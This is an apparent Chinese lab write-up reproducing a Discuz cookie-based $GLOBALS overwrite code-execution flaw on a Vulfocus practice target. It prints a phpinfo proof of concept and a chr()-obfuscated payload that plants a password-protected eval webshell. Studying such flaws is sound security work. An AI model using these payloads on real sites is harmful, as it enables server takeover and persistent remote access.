【漏洞复现-discuz-wooyun-命令执行】vulfocus/discuz-wooyun_2010_080723
目录
一、靶场环境
1.1、平台:
1.2、知识:
1.3、描述:
二、漏洞验证
2.1、分析:
2.4、解题:
一、靶场环境
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:22709
123.58.224.8:26641
123.58.224.8:26641
1.2、知识:
1、命令执行
PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当能控制这些函数中的参数时,就可将恶意系统命令拼接到正常命令中,从而造成命令执行攻击
2、$GLOBALS
引用全局作用域中可用的全部变量
关联数组 array,包含当前脚本内定义成全局范围的所有变量的引用。 数组的键就是变量的名字。
3、chr()码值表
返回值是当前整数对应的 ASCII 字符
1.3、描述:
由于php版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞
二、漏洞验证
2.1、分析:
点击默认模板进入
随便点击一个通知(这里都是管理员发布的)
phpinfo的POC
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
写入shell的POC
x.php密码pwd
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59));
2.4、解题: